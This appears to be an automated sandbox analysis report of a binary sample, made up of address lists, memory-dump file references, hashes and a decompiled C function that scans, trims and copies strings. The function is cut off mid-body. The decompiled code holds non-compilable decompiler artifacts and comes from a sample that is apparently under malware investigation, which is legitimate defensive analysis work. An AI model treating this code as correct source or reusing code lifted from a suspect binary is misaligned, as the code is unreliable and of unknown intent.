0x6efeb8af
0x6efeb8b5
0x6efeb8ba
0x6efeb8bc
0x00000000
0x00000000
0x6efeb8ce
0x6efeb8d0
0x6efeb8dd
0x6efeb8df
0x6efeb8e1
0x6efebd6c
0x6efebd78
0x6efebd84
0x6efebd90
0x6efebd9c
0x6efebda8
0x6efebdb4
0x6efebdc0
0x6efebdc5
0x6efebdd3
0x6efeb8e7
0x6efeb8e7
0x6efeb8e8
0x6efeb8eb
0x00000000
0x6efeb8f1
0x6efeb8f8
0x6efeb904
0x6efeb910
0x6efeb91c
0x6efeb928
0x6efeb934
0x6efeb940
0x6efeb94c
0x6efeb951
0x6efeb95f
0x6efeb95f
0x6efeb8eb
0x00000000
0x6efeb8e1
0x6efeb962
0x6efeb969
0x6efeb969
0x6efeb96b
0x6efeb972
0x6efeb979
0x6efeb980
0x6efeb980
0x6efeb985
0x6efeb98c
0x6efeb993
0x6efeb994
0x6efeb99c
0x6efeb9a8
0x6efeb9aa
0x00000000
0x00000000
0x6efeb9bc
0x6efeb9be
0x6efeb9cb
0x6efeb9cd
0x6efeb9cf
0x6efebddd
0x6efebde9
0x6efebdf5
0x6efebe01
0x6efebe0d
0x6efebe19
0x6efebe25
0x6efebe31
0x6efebe36
0x6efebe44
0x6efeb9d5
0x6efeb9d5
0x6efeb9d6
0x6efeb9d9
0x00000000
0x6efeb9db
0x6efeb9e2
0x6efeb9ee
0x6efeb9fa
0x6efeba06
0x6efeba12
0x6efeba1e
0x6efeba2a
0x6efeba36
0x6efeba3b
0x6efeba49
0x6efeba49
0x6efeb9d9
0x00000000
0x6efeb9cf
0x6efebe47
0x6efebe58
0x6efebe5c
0x6efebe5d
0x6efebe61
0x6efebe65
0x6efebe6b
0x6efebe6f
0x6efebe75
0x6efebe79
0x6efebe7d
0x6efebe82
0x6efebe89
0x6efebe8c
0x6efebe91
0x6efebe99
0x6efebe9d
0x6efebea2
0x6efebea4
0x6efec73a
0x6efec746
0x6efec752
0x6efec75e
0x6efec76a
0x6efec776
0x6efec782
0x6efec78e
0x6efec793
0x6efec7a1
0x6efebeaa
0x6efebeaa
0x6efebeac
0x6efebeb0
0x6efebeb4
0x6efebebb
0x6efebebf
0x6efebec6
0x6efebec6
0x6efebec6
0x6efebecf
0x6efebed4
0x6efebed8
0x6efebee0
0x6efebeeb
0x6efebef4
0x6efebef8
0x6efebefe
0x6efebf02
0x6efebf06
0x6efebf0c
0x6efebf12
0x6efebf18
0x6efebf1d
0x6efebf1f
0x00000000
0x00000000
0x6efebf21
0x6efebf21
0x6efebf23
0x6efebf2a
0x6efebf2f
0x6efebf33
0x6efebf33
0x6efebf35
0x00000000
0x00000000
0x6efebf3b
0x6efebf3e
0x6efebfde
0x6efebfe3
0x6efebf44
0x6efebf49
0x6efebf4e
0x00000000
0x6efebf4e
0x6efebfea
0x6efebffc
0x6efebffe
0x6efec08e
0x6efec09a
0x6efec0a6
0x6efec0b2
0x6efec0be
0x6efec0ca
0x6efec0d6
0x6efec0e2
0x6efec0e7
0x6efec0f5
0x6efec004
0x6efec008
0x6efec009
0x6efec00d
0x6efec010
0x00000000
0x6efec016
0x6efec01d
0x6efec029
0x6efec035
0x6efec041
0x6efec04d
0x6efec059
0x6efec065
0x6efec071
0x6efec076
0x6efec084
0x6efec084
0x6efec010
0x00000000
0x6efebffe
0x6efec0f8
0x6efec0ff
0x00000000
0x6efec0ff
0x6efebf51
0x6efebf58
0x6efebf5a
0x6efebf61
0x6efebf68
0x6efebf6c
0x6efebf75
0x6efebf7a
0x6efebf88
0x6efebf89
0x6efebf8d
0x6efebf94
0x6efebf95
0x6efebf96
0x6efebfa4
0x6efebfa6
0x00000000
0x00000000
0x6efebfac
0x6efebfac
0x6efebfae
0x6efebfba
0x6efebfbc
0x6efebfc0
0x6efebfc2
0x00000000
0x00000000
0x6efebfc8
0x6efebfcb
0x6efec106
0x6efec10b
0x6efebfd1
0x6efebfd6
0x6efebfdb
0x00000000
0x6efebfdb
0x00000000
0x6efebfcb
0x6efec118
0x6efec11a
0x6efec11c
0x6efec1ac
0x6efec1b8
0x6efec1c4
0x6efec1d0
0x6efec1dc
0x6efec1e8
0x6efec1f4
0x6efec200
0x6efec205
0x6efec213
0x6efec122
0x6efec126
0x6efec127
0x6efec12b
0x6efec12e
0x00000000
0x6efec134
0x6efec13b
0x6efec147
0x6efec153
0x6efec15f
0x6efec16b
0x6efec177
0x6efec183
0x6efec18f
0x6efec194
0x6efec1a2
0x6efec1a2
0x6efec12e
0x00000000
0x6efec11c
0x6efec216
0x6efec21d
0x6efec221
0x6efec227
0x6efec236
0x6efec23a
0x6efec23f
0x6efec241
0x6efec2b4
0x6efec2ba
0x6efec2bf
0x6efec2cf
0x6efec2e8
0x6efec2f1
0x6efec2fd
0x6efec309
0x6efec311
0x6efec314
0x6efec317
0x6efec328
0x6efec32d
0x6efec32f
0x6efec333
0x6efec33a
0x6efec341
0x6efec347
0x6efec357
0x6efec358
0x6efec35f
0x6efec366
0x6efec367
0x6efec368
0x6efec371
0x6efec376
0x6efec378
0x00000000
0x00000000
0x6efec37e
0x6efec37e
0x6efec380
0x6efec38c
0x6efec38e
0x6efec392
0x6efec394
0x00000000
0x00000000
0x6efec396
0x6efec399
0x6efec3a8
0x6efec3ad
0x6efec39b
0x6efec3a0
0x6efec3a5
0x00000000
0x6efec3a5
0x00000000
0x6efec399
0x6efec3ba
0x6efec3bc
0x6efec3be
0x6efec454
0x6efec460
0x6efec46c
0x6efec478
0x6efec484
0x6efec490
0x6efec49c
0x6efec4a8
0x6efec4b4
0x6efec4b9
0x6efec4c7
0x6efec3c4
0x6efec3c8
0x6efec3c9
0x6efec3cd
0x6efec3d0
0x00000000
0x6efec3d6
0x6efec3da
0x6efec3e6
0x6efec3f2
0x6efec3fe
0x6efec40a
0x6efec416
0x6efec422
0x6efec42e
0x6efec43a
0x6efec43f
0x6efec44d
0x6efec44d
0x6efec3d0
0x00000000
0x6efec3be
0x6efec4ca
0x6efec4d1
0x6efec4d1
0x6efec4d3
0x6efec4da
0x6efec4e1
0x6efec4e3
0x6efec4e3
0x6efec4ec
0x6efec4f1
0x6efec4f5
0x6efec4fd
0x6efec501
0x6efec50c
0x6efec517
0x6efec51b
0x6efec522
0x6efec526
0x6efec52d
0x6efec531
0x6efec537
0x6efec53d
0x6efec542
0x6efec544
0x00000000
0x00000000
0x6efec5f3
0x6efec5f3
0x6efec5f5
0x6efec5fc
0x6efec603
0x6efec605
0x00000000
0x00000000
0x6efec607
0x6efec60a
0x6efec619
0x6efec61e
0x6efec60c
0x6efec611
0x6efec616
0x00000000
0x6efec616
0x00000000
0x6efec60a
0x6efec62b
0x6efec62d
0x6efec62d
0x6efec62f
0x6efec6bd
0x6efec6c9
0x6efec6d5
0x6efec6e1
0x6efec6ed
0x6efec6f9
0x6efec705
0x6efec711
0x6efec71d
0x6efec722
0x6efec730
0x6efec635
0x6efec635
0x6efec636
0x6efec639
0x00000000
0x6efec63f
0x6efec643
0x6efec64f
0x6efec65b
0x6efec667
0x6efec673
0x6efec67f
0x6efec68b
0x6efec697
0x6efec6a3
0x6efec6a8
0x6efec6b6
0x6efec6b6
0x6efec639
0x00000000
0x6efec62f
0x6efec54a
0x6efec54c
0x6efec553
0x6efec558
0x6efec55b
0x6efec56e
0x6efec577
0x6efec583
0x6efec58f
0x6efec59b
0x6efec5a7
0x6efec5b3
0x6efec5bf
0x6efec5cb
0x6efec5d7
0x6efec5de
0x6efec5e1
0x6efec5e1
0x6efec5f0
0x6efec243
0x6efec24a
0x6efec256
0x6efec262
0x6efec26e
0x6efec27a
0x6efec286
0x6efec292
0x6efec29e
0x6efec2a3
0x6efec2b1
0x6efec2b1
0x6efec241
0x6efebea4
0x6efeb83c
0x00000000
0x00000000
0x00000000
0x6efeb317
0x6efeb004
0x6efeb00b
0x6efeb017
0x6efeb023
0x6efeb036
0x6efeb036
0x00000000

Strings

ZFhj, xrefs: 6EFEB588

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: ZFhj
API String ID: 0-4053837889
Opcode ID: 5025aa0343faf9bd186ca32e1c0079d075baabf4b4995f7fc4b599ad0204b03f
Instruction ID: 5024059e54a76cc9d03aa44e09170b7ff30d525737b3a6c67c289bea1063be51
Opcode Fuzzy Hash: 5025aa0343faf9bd186ca32e1c0079d075baabf4b4995f7fc4b599ad0204b03f
Instruction Fuzzy Hash: 4CE23C315183809BD334EF74D8A1BEEB3A4AFD5318F104A2DE589572E4EF306989CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6F003EC0, Relevance: 2.4, Strings: 1, Instructions: 1131
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E6F003EC0(signed int __ecx) {
				char _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				unsigned int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _t368;
				unsigned int _t371;
				void* _t376;
				signed int* _t377;
				char* _t378;
				char _t381;
				signed int _t382;
				signed int _t388;
				signed int _t392;
				signed int _t393;
				signed int _t396;
				char* _t397;
				char _t400;
				char _t403;
				signed int _t404;
				signed int _t407;
				signed int _t410;
				signed int _t412;
				void* _t413;
				char* _t416;
				signed int _t418;
				unsigned int _t424;
				signed int _t425;
				char* _t431;
				signed int _t436;
				unsigned int _t442;
				char* _t445;
				void* _t447;
				char _t449;
				signed int _t450;
				signed int _t451;
				char* _t463;
				char _t477;
				char _t479;
				char _t481;
				char _t482;
				signed int _t483;
				signed int _t484;
				char _t491;
				signed int _t492;
				void* _t503;
				signed int _t508;
				unsigned int _t509;
				signed int _t511;
				signed int _t512;
				signed int _t520;
				char* _t521;
				char* _t522;
				char* _t523;
				signed int _t524;
				signed int _t527;
				char* _t535;
				signed int _t537;
				unsigned int _t543;
				signed int _t545;
				signed int _t546;
				char _t548;
				char _t549;
				char _t550;
				signed int _t551;
				signed int _t552;
				unsigned int _t556;
				void* _t565;
				signed int _t566;
				char* _t568;
				char _t569;
				char _t570;
				signed int _t571;
				signed int _t573;
				signed int _t574;
				unsigned int _t575;
				char* _t576;
				char _t577;
				char _t578;
				char* _t583;
				char _t584;
				char _t585;
				signed int _t586;
				unsigned int _t592;
				void* _t595;
				signed int _t597;
				signed int _t600;
				char _t602;
				void* _t603;
				unsigned int _t604;
				signed int _t605;
				unsigned int _t610;
				signed int _t612;
				signed int _t614;
				char* _t615;
				char _t616;
				char _t617;
				char _t620;
				signed int _t621;
				void* _t624;
				signed int _t626;
				char _t629;
				signed int _t630;
				signed int _t636;
				signed int _t641;
				char* _t642;
				char _t644;
				signed int _t646;
				char _t649;
				signed int _t650;
				signed int _t652;
				signed int _t654;
				signed int _t655;
				signed int _t658;
				char* _t659;
				void* _t660;
				void* _t665;
				intOrPtr _t667;
				signed int _t672;
				signed int _t673;
				unsigned int _t675;
				signed int _t676;
				signed int _t677;
				signed int _t678;
				signed int _t680;
				intOrPtr* _t681;
				signed int _t682;
				unsigned int* _t683;
				signed int _t685;
				signed int _t686;
				void* _t688;
				signed int _t689;
				signed int _t693;
				signed int _t694;
				char* _t695;
				void* _t696;
				unsigned int _t697;
				signed int _t700;
				unsigned int _t702;
				signed int _t704;
				intOrPtr* _t705;
				signed int _t707;
				signed int _t714;
				void* _t720;
				signed int _t721;
				void* _t723;
				void* _t727;

				_t723 = (_t721 & 0xfffffff0) - 0x44;
				_t505 = __ecx;
				_t727 =  *__ecx;
				if(_t727 == 0) {
					return __ecx;
				} else {
					if(_t727 <= 0) {
						_v48 = 0;
						_t604 = 0;
						if( &_v52 == __ecx) {
							goto L288;
						} else {
							goto L287;
						}
					} else {
						_v64 = 0;
						asm("pxor xmm0, xmm0");
						_v40 = __ecx;
						do {
							_t410 = _v64 + 1;
							_t620 =  *0x6f01a24c; // 0xa0d0920
							_t550 =  *0x6f01a250; // 0x0
							_v64 = _t410;
							_v36 = _t620;
							_v32 = _t550;
							_t621 =  *( *( *((intOrPtr*)(_v40 + 4)) + _t410 * 4 - 4));
							if(_t621 == 0) {
								_t680 = 0;
								_t412 = 0;
							} else {
								_t505 = _t621 & 0x0000000f;
								if(_t505 == 0) {
									L8:
									asm("pxor xmm1, xmm1");
									_t503 =  ~( ~_t505 + 0x0000000f & 0x0000000f) + 0x7fffffff;
									while(1) {
										asm("movdqu xmm0, [edx+ebx]");
										asm("pcmpeqb xmm0, xmm1");
										asm("pmovmskb ecx, xmm0");
										if(_t550 != 0) {
											break;
										}
										_t505 = _t505 + 0x10;
										if(_t505 < _t503) {
											continue;
										} else {
											if(_t503 >= 0x7fffffff) {
												L14:
												_t412 = 0x7fffffff;
												goto L15;
											} else {
												while( *((char*)(_t503 + _t621)) != 0) {
													_t503 = _t503 + 1;
													if(_t503 < 0x7fffffff) {
														continue;
													} else {
														goto L14;
													}
													goto L20;
												}
												goto L295;
											}
										}
										goto L20;
									}
									asm("bsf eax, ecx");
									_t412 = _t503 + _t505;
									goto L295;
								} else {
									_t412 = 0;
									_t505 =  ~_t505 + 0x10;
									while( *((char*)(_t412 + _t621)) != 0) {
										_t412 = _t412 + 1;
										if(_t412 < _t505) {
											continue;
										} else {
											goto L8;
										}
										goto L20;
									}
									L295:
									if(_t412 > 0) {
										L15:
										_t505 = _v36;
										_t680 = 0;
										while(_t505 != 0) {
											while(1) {
												_t720 = _t720 + 1;
												if(_t603 ==  *((intOrPtr*)(_t723 + _t720 + 0x2f))) {
													break;
												}
												if( *((char*)(_t723 + _t720 + 0x30)) != 0) {
													continue;
												}
												goto L20;
											}
											_t680 = _t680 + 1;
											if(_t680 < _t412) {
												continue;
											} else {
												goto L20;
											}
											goto L301;
										}
									} else {
										_t680 = 0;
									}
								}
							}
							L20:
							_t413 = _t412 - 1;
							_t700 = _t412 - _t680;
							if(_t413 >= _t680) {
								_v60 = 0;
								_t505 = _t413 - _t680 + 1;
								_v56 = _t680;
								_t602 = _v36;
								_t689 = _v60;
								_v48 = _t621;
								_v52 = _t505;
								while(_t602 != 0) {
									_t667 =  *((intOrPtr*)(_t413 + _v48));
									while(1) {
										_t505 = 1;
										if(_t667 ==  *((intOrPtr*)(_t723 + 0x30))) {
											break;
										}
										if( *((char*)(_t723 + 0x31)) != 0) {
											continue;
										}
										goto L26;
									}
									_t689 = _t689 + 1;
									_t413 = _t413 - 1;
									_t700 = _t700 - 1;
									if(_t689 < _v52) {
										continue;
									} else {
										break;
									}
									goto L301;
								}
								L26:
								_t621 = _v48;
								_t680 = _v56;
							}
							if(_t700 == 0) {
								L66:
								_push(0x40);
								_t505 = E6EFF1030();
								_t723 = _t723 + 4;
								 *_t505 = 0;
							} else {
								if(_t621 == 0) {
									_t483 = 0;
								} else {
									_t600 = _t621 & 0x0000000f;
									if(_t600 == 0) {
										L33:
										asm("pxor xmm1, xmm1");
										_t483 =  ~( ~_t600 + 0x0000000f & 0x0000000f) + 0x7fffffff;
										while(1) {
											asm("movdqu xmm0, [edx+ecx]");
											asm("pcmpeqb xmm0, xmm1");
											asm("pmovmskb ebx, xmm0");
											if(_t505 != 0) {
												break;
											}
											_t600 = _t600 + 0x10;
											if(_t600 < _t483) {
												continue;
											} else {
												if(_t483 >= 0x7fffffff) {
													L39:
													_t483 = 0x7fffffff;
												} else {
													while( *((char*)(_t483 + _t621)) != 0) {
														_t483 = _t483 + 1;
														if(_t483 < 0x7fffffff) {
															continue;
														} else {
															goto L39;
														}
														goto L40;
													}
												}
											}
											goto L40;
										}
										asm("bsf eax, ebx");
										_t483 = _t483 + _t600;
									} else {
										_t483 = 0;
										_t600 =  ~_t600 + 0x10;
										while( *((char*)(_t483 + _t621)) != 0) {
											_t483 = _t483 + 1;
											if(_t483 < _t600) {
												continue;
											} else {
												goto L33;
											}
											goto L40;
										}
									}
								}
								L40:
								_t687 =  <=  ? 0 : _t680;
								_t688 =  <  ? _t483 :  <=  ? 0 : _t680;
								_t484 = _t483 - _t688;
								if(_t700 < 0 || _t700 > _t484) {
									_t700 = _t484;
								}
								if(_t688 + _t621 == 0 ||  *(_t621 + _t688) == 0) {
									goto L66;
								} else {
									if(_t700 == 0) {
										_t492 = _t621 + _t688;
										_t597 = _t492 & 0x0000000f;
										if(_t597 == 0) {
											L50:
											asm("pxor xmm1, xmm1");
											_t700 =  ~( ~_t597 + 0x0000000f & 0x0000000f) + 0x7fffffff;
											while(1) {
												asm("movdqu xmm0, [eax+ecx]");
												asm("pcmpeqb xmm0, xmm1");
												asm("pmovmskb ebx, xmm0");
												if(_t505 != 0) {
													break;
												}
												_t597 = _t597 + 0x10;
												if(_t597 < _t700) {
													continue;
												} else {
													if(_t700 >= 0x7fffffff) {
														L56:
														_t700 = 0x7fffffff;
													} else {
														while( *((char*)(_t700 + _t492)) != 0) {
															_t700 = _t700 + 1;
															if(_t700 < 0x7fffffff) {
																continue;
															} else {
																goto L56;
															}
															goto L57;
														}
													}
												}
												goto L57;
											}
											asm("bsf esi, ebx");
											_t700 = _t700 + _t597;
										} else {
											_t700 = 0;
											_t597 =  ~_t597 + 0x10;
											while( *((char*)(_t700 + _t492)) != 0) {
												_t700 = _t700 + 1;
												if(_t700 < _t597) {
													continue;
												} else {
													goto L50;
												}
												goto L57;
											}
										}
									}
									L57:
									_t40 = _t700 + 1; // -2147483661
									_t511 =  <=  ? 0x40 : _t40;
									if(_t511 > 0) {
										_t592 = (_t511 >> 5 >> 0x1a) + _t511 >> 6;
										_t512 = _t511 & 0x8000003f;
										if(_t512 < 0) {
											_t512 = (_t512 - 0x00000001 | 0xffffffc0) + 1;
										}
										_push(_t592 + (0 | _t512 > 0x00000000) << 6);
										_v48 = _t621;
										_t505 = E6EFF1030();
										_t723 = _t723 + 4;
										_t665 = _v48 + _t688;
										_t595 = 0;
										 *_t505 = 0;
										while(1) {
											_t595 = _t595 + 1;
											_t491 =  *((char*)(_t595 + _t665 - 1));
											 *((char*)(_t595 + _t505 - 1)) = _t491;
											if(_t700 != 0 && _t595 == _t700) {
												break;
											}
											if(_t491 != 0) {
												continue;
											} else {
											}
											goto L67;
										}
										 *((char*)(_t595 + _t505)) = 0;
									} else {
										_t505 = 0;
									}
								}
							}
							L67:
							_t551 = _v64;
							_t681 =  *((intOrPtr*)( *((intOrPtr*)(_v40 + 4)) + _t551 * 4 - 4));
							_t416 =  *_t681;
							if(_t416 != _t505) {
								if(_t505 == 0 ||  *_t505 == 0) {
									if(_t416 != 0) {
										 *_t416 = 0;
									}
									if( *(_t681 + 4) < 0x40) {
										_push(0x40);
										_v72 = E6EFF1030();
										_t723 = _t723 + 4;
										_t463 =  *_t681;
										if(_t463 == 0) {
											 *_v72 = 0;
										} else {
											if(_v72 != 0) {
												_t583 = _v72;
												_t649 =  *_t463;
												 *_t583 = _t649;
												if(_t649 != 0) {
													_v84 = _t505;
													_t650 = 0;
													_t523 = _t583;
													while(1) {
														_t650 = _t650 + 1;
														_t584 =  *((char*)(_t463 + _t650 * 2 - 1));
														 *((char*)(_t523 + _t650 * 2 - 1)) = _t584;
														if(_t584 == 0) {
															break;
														}
														_t585 =  *((char*)(_t463 + _t650 * 2));
														 *((char*)(_t523 + _t650 * 2)) = _t585;
														if(_t585 != 0) {
															continue;
														}
														break;
													}
													_t505 = _v84;
												}
												_t463 =  *_t681;
											}
											_push(1);
											_push(_t463);
											E6EFF10B0();
											_t723 = _t723 + 8;
										}
										 *_t681 = _v72;
										 *(_t681 + 4) = 0x40;
									}
								} else {
									_t652 = _t505 & 0x0000000f;
									if(_t652 == 0) {
										L74:
										asm("pxor xmm1, xmm1");
										_t714 =  ~( ~_t652 + 0x0000000f & 0x0000000f) + 0x7fffffff;
										while(1) {
											asm("movdqu xmm0, [ebx+edx]");
											asm("pcmpeqb xmm0, xmm1");
											asm("pmovmskb ecx, xmm0");
											if(_t551 != 0) {
												break;
											}
											_t652 = _t652 + 0x10;
											if(_t652 < _t714) {
												continue;
											} else {
												if(_t714 >= 0x7fffffff) {
													L80:
													_t714 = 0x7fffffff;
												} else {
													while( *((char*)(_t714 + _t505)) != 0) {
														_t714 = _t714 + 1;
														if(_t714 < 0x7fffffff) {
															continue;
														} else {
															goto L80;
														}
														goto L81;
													}
													goto L270;
												}
											}
											goto L81;
										}
										asm("bsf esi, ecx");
										_t714 = _t714 + _t652;
										goto L270;
									} else {
										_t714 = 0;
										_t652 =  ~_t652 + 0x10;
										while( *((char*)(_t714 + _t505)) != 0) {
											_t714 = _t714 + 1;
											if(_t714 < _t652) {
												continue;
											} else {
												goto L74;
											}
											goto L81;
										}
										L270:
										if(_t714 == 0xffffffff && _t416 != 0) {
											 *_t416 = 0;
										}
									}
									L81:
									_t57 = _t714 + 1; // -2147483661
									_t654 =  <=  ? 0x40 : _t57;
									if(_t654 >  *(_t681 + 4)) {
										_v68 = (_t654 >> 5 >> 0x1a) + _t654 >> 6;
										_t655 = _t654 & 0x8000003f;
										if(_t655 < 0) {
											_t655 = (_t655 - 0x00000001 | 0xffffffc0) + 1;
										}
										_t658 = _v68 + (0 | _t655 > 0x00000000) << 6;
										_v68 = _t658;
										_push(_t658);
										_t586 = E6EFF1030();
										_t723 = _t723 + 4;
										_t659 =  *_t681;
										if(_t659 == 0) {
											 *_t586 = 0;
										} else {
											if(_t586 != 0) {
												_t479 =  *_t659;
												 *_t586 = _t479;
												if(_t479 != 0) {
													_v80 = _t681;
													_v84 = _t505;
													_t524 = 0;
													while(1) {
														_t524 = _t524 + 1;
														_t481 =  *((char*)(_t659 + _t524 * 2 - 1));
														 *((char*)(_t586 + _t524 * 2 - 1)) = _t481;
														if(_t481 == 0) {
															break;
														}
														_t482 =  *((char*)(_t659 + _t524 * 2));
														 *((char*)(_t586 + _t524 * 2)) = _t482;
														if(_t482 != 0) {
															continue;
														}
														break;
													}
													_t681 = _v80;
													_t505 = _v84;
												}
												_t659 =  *_t681;
											}
											_push(1);
											_push(_t659);
											_v76 = _t586;
											E6EFF10B0();
											_t586 = _v76;
											_t723 = _t723 + 8;
										}
										 *(_t681 + 4) = _v68;
										 *_t681 = _t586;
									} else {
										_t586 =  *_t681;
									}
									if(_t586 != 0 && _t505 != 0) {
										_t660 = 0;
										while(1) {
											_t660 = _t660 + 1;
											_t477 =  *((char*)(_t660 + _t505 - 1));
											 *((char*)(_t660 + _t586 - 1)) = _t477;
											if(_t714 != 0 && _t660 == _t714) {
												break;
											}
											if(_t477 != 0) {
												continue;
											} else {
											}
											goto L117;
										}
										 *((char*)(_t660 + _t586)) = 0;
									}
								}
							}
							L117:
							_push(1);
							_push(_t505);
							E6EFF10B0();
							_t723 = _t723 + 8;
							_t418 = _v40;
							_t552 =  *_t418;
						} while (_t552 > _v64);
						_t505 = _t418;
						_t604 = 0;
						_v48 = 0;
						asm("pxor xmm0, xmm0");
						if(_t552 <= 0) {
							if( &_v52 == _t505) {
								L288:
								_v52 = _t604;
								_v44 = _t604;
							} else {
								L287:
								_v44 = _t604;
								_v52 = _t604;
								 *_t505 = _t604;
								 *(_t505 + 8) = _t604;
								goto L196;
							}
						} else {
							_t371 = 0;
							_v44 = 0;
							_t682 = 0;
							_v60 = _t552;
							_v40 = _t505;
							do {
								_t682 = _t682 + 1;
								_t520 =  *( *( *((intOrPtr*)(_v40 + 4)) + _t682 * 4 - 4));
								if(_t520 != 0) {
									_t704 = _t520 & 0x0000000f;
									if(_t704 == 0) {
										L125:
										asm("pxor xmm1, xmm1");
										_v56 = _t682;
										_t565 =  ~( ~_t704 + 0x0000000f & 0x0000000f) + 0x7fffffff;
										while(1) {
											asm("movdqu xmm0, [ebx+esi]");
											asm("pcmpeqb xmm0, xmm1");
											asm("pmovmskb edi, xmm0");
											if(_t682 != 0) {
												break;
											}
											_t704 = _t704 + 0x10;
											if(_t704 < _t565) {
												continue;
											} else {
												_t682 = _v56;
												if(_t565 >= 0x7fffffff) {
													goto L131;
												} else {
													while( *((char*)(_t565 + _t520)) != 0) {
														_t565 = _t565 + 1;
														if(_t565 < 0x7fffffff) {
															continue;
														} else {
															goto L131;
														}
														goto L182;
													}
													goto L284;
												}
											}
											goto L182;
										}
										_t566 = _t682;
										asm("bsf ecx, ecx");
										_t682 = _v56;
										_t565 = _t566 + _t704;
										goto L284;
									} else {
										_t565 = 0;
										_t704 =  ~_t704 + 0x10;
										while( *((char*)(_t565 + _t520)) != 0) {
											_t565 = _t565 + 1;
											if(_t565 < _t704) {
												continue;
											} else {
												goto L125;
											}
											goto L182;
										}
										L284:
										if(_t565 != 0) {
											L131:
											_v52 = _t604;
											_t624 =  >  ? _t371 : 0;
											_t625 =  >=  ? _t371 : _t624;
											_v64 =  >=  ? _t371 : _t624;
											_t626 = _v44;
											if(_t371 == _t626) {
												_v44 = _t626 + 4;
												_push(0x10 + _t626 * 4);
												_t707 = E6EFF1030();
												E6EFF0C10(_t707, _v48, _v52 << 2);
												_push(4);
												_push(_v48);
												E6EFF10B0();
												_t723 = _t723 + 0x18;
												_v48 = _t707;
												_t371 = _v52;
											}
											_t419 = _t371 != _v64;
											if(_t371 != _v64) {
												E6EFF0BC0(_v48 + _v64 * 4 + 4, _v48 + _v64 * 4, _t419 << 2);
												_t723 = _t723 + 0xc;
											}
											_push(8);
											_t705 = E6EFF1030();
											_t723 = _t723 + 4;
											if(_t705 == 0) {
												_t705 = 0;
											} else {
												 *_t705 = 0;
												 *(_t705 + 4) = 0;
												if(_t520 == 0 ||  *_t520 == 0) {
													_push(0x40);
													_v80 = E6EFF1030();
													_t723 = _t723 + 4;
													_t431 =  *_t705;
													if(_t431 == 0) {
														 *_v80 = 0;
													} else {
														if(_v80 != 0) {
															_t568 = _v80;
															_t629 =  *_t431;
															 *_t568 = _t629;
															if(_t629 != 0) {
																_v56 = _t682;
																_t630 = 0;
																_t521 = _t568;
																while(1) {
																	_t630 = _t630 + 1;
																	_t569 =  *((char*)(_t431 + _t630 * 2 - 1));
																	 *((char*)(_t521 + _t630 * 2 - 1)) = _t569;
																	if(_t569 == 0) {
																		break;
																	}
																	_t570 =  *((char*)(_t431 + _t630 * 2));
																	 *((char*)(_t521 + _t630 * 2)) = _t570;
																	if(_t570 != 0) {
																		continue;
																	}
																	break;
																}
																_t682 = _v56;
															}
														}
														_push(1);
														_push(_t431);
														E6EFF10B0();
														_t723 = _t723 + 8;
													}
													 *_t705 = _v80;
													 *(_t705 + 4) = 0x40;
												} else {
													_t436 = _t520 & 0x0000000f;
													if(_t436 == 0) {
														L142:
														asm("pxor xmm1, xmm1");
														_t636 =  ~( ~_t436 + 0x0000000f & 0x0000000f) + 0x7fffffff;
														_v72 = _t636;
														_t571 = _t636;
														while(1) {
															asm("movdqu xmm0, [ebx+eax]");
															asm("pcmpeqb xmm0, xmm1");
															asm("pmovmskb edx, xmm0");
															if(_t636 != 0) {
																break;
															}
															_t436 = _t436 + 0x10;
															if(_t436 < _t571) {
																continue;
															} else {
																_v72 = _t571;
																if(_v72 >= 0x7fffffff) {
																	L149:
																	_v72 = 0x7fffffff;
																} else {
																	_t451 = _t571;
																	while( *((char*)(_t451 + _t520)) != 0) {
																		_t451 = _t451 + 1;
																		if(_t451 < 0x7fffffff) {
																			continue;
																		} else {
																			goto L149;
																		}
																		goto L150;
																	}
																	_v72 = _t451;
																}
															}
															goto L150;
														}
														asm("bsf edx, edx");
														_v72 = _t636 + _t436;
													} else {
														_v72 = 0;
														_t646 = _v72;
														_t436 =  ~_t436 + 0x10;
														while( *((char*)(_t646 + _t520)) != 0) {
															_t646 = _t646 + 1;
															if(_t646 < _t436) {
																continue;
															} else {
																goto L142;
															}
															goto L150;
														}
														_v72 = _t646;
													}
													L150:
													_t143 = _v72 + 1; // 0x80000000
													_t573 =  <=  ? 0x40 : _t143;
													if(_t573 > 0) {
														_t442 = (_t573 >> 5 >> 0x1a) + _t573 >> 6;
														_v76 = _t442;
														_t574 = _t573 & 0x8000003f;
														if(_t574 < 0) {
															_t574 = (_t574 - 0x00000001 | 0xffffffc0) + 1;
														}
														_t641 = _t442 + (0 | _t574 > 0x00000000) << 6;
														_v76 = _t641;
														_push(_t641);
														_t445 = E6EFF1030();
														_v68 = _t445;
														_t723 = _t723 + 4;
														_t642 =  *_t705;
														if(_t642 == 0) {
															 *_t445 = 0;
														} else {
															if(_v68 != 0) {
																_t576 = _t445;
																_t449 =  *_t642;
																 *_t576 = _t449;
																if(_t449 != 0) {
																	_v84 = _t520;
																	_t450 = 0;
																	_v56 = _t682;
																	_t522 = _t576;
																	while(1) {
																		_t450 = _t450 + 1;
																		_t577 =  *((char*)(_t642 + _t450 * 2 - 1));
																		 *((char*)(_t522 + _t450 * 2 - 1)) = _t577;
																		if(_t577 == 0) {
																			break;
																		}
																		_t578 =  *((char*)(_t642 + _t450 * 2));
																		 *((char*)(_t522 + _t450 * 2)) = _t578;
																		if(_t578 != 0) {
																			continue;
																		}
																		break;
																	}
																	_t520 = _v84;
																	_t682 = _v56;
																}
															}
															_push(1);
															_push(_t642);
															E6EFF10B0();
															_t723 = _t723 + 8;
														}
														 *(_t705 + 4) = _v76;
														 *_t705 = _v68;
													} else {
														_v68 = 0;
													}
													if(_v68 != 0) {
														_v56 = _t682;
														_t447 = 0;
														_t575 = _v68;
														_t686 = _v72;
														while(1) {
															_t447 = _t447 + 1;
